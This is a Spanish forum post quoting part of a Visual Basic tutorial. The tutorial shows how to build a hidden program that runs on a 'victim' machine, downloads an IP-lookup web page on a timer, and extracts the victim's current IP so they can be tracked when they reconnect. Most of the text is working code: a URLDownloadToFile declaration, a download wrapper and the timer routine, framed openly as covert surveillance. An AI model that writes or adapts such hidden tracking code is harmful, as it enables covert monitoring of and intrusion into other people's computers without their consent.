Esto es un trozo de un tutorial que escribí...
Lo primero que haremos sera crear una funcion que descargue la web.
Para ello hay este código:
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000
Esto lo copiaremos arriba de todo, donde se suelen declarar las variables.
Para usar esto crearemos ahora la funcion:
Public Function DownloadFile(sSourceUrl As String, sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0&, sSourceUrl, sLocalFile, BINDF_GETNEWESTVERSION, 0&) = ERROR_SUCCESS
End Function
Si enviamos los parametros sSourceUrl y sLocalFile se nos copiara la web que queramos en el archivo del disco duro que nosotros deseemos.
Bien, hasta aquí ya tenemos el código para descargar una página web (será la que nos dará la IP).
Una vez abierto el programa (oculto, logicamente), crearemos un Timer para descargar la página web cada X segundos (mejor poned minutos) por si la victima se desconecta y se vuelve a conectar con otra IP. En el Timer va lo siguiente:
If DownloadFile(sSourceUrl, sLocalFile) Then
hfile = FreeFile
Open sLocalFile For Input As #hfile
Text1.Text = Input$(LOF(hfile), hfile)
Close #hfile
Kill sLocalFile
Command2_Click
End If
Con esto descargaremos la web, la guardaremos en un archivo del disco duro, copiaremos el contenido en un Text y eliminaremos el archivo. Seguidamente procederemos en el Command2_Click a extraer la IP de la victima en web descargada.
Con esto y un poco de conocimientos de Visual Basic, lo podrás adaptar a tu código.
Saludos,
Ertai